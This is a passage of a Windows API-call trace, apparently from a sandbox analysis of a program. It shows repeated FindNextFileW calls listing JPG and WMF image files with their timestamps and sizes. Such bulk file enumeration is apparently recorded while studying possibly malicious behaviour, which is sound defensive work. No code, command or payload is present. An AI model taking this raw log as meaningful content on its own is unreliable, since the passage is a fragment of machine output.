ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1 [0259.908] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1 [0259.909] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1 [0259.909] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0259.909] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1 [0259.909] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1 [0259.909] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1 [0259.910] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1 [0259.910] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1 [0259.910] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1 [0259.910] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1 [0259.910] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1 [0259.911] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1 [0259.911] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1 [0259.911] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1 [0259.911] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1 [0259.911] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1 [0259.912] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1 [0259.912] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1 [0260.360] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1 [0260.361] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1 [0260.361] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1 [0260.361] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1 [0260.361] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1 [0260.361] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1 [0260.361] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1 [0260.361] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1 [0260.362] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1 [0260.362] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1 [0260.362] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1 [0260.362] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1 [0260.362] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1 [0260.362] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1 [0260.362] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1 [0260.363] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1 [0260.363] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1 [0260.363] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1 [0260.363] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1 [0260.363] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0260.364] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1 [0260.364] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1 [0260.364] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1 [0260.364] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1 [0260.364] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1 [0260.365] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1 [0260.365] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1 [0260.365] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1 [0260.365] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, 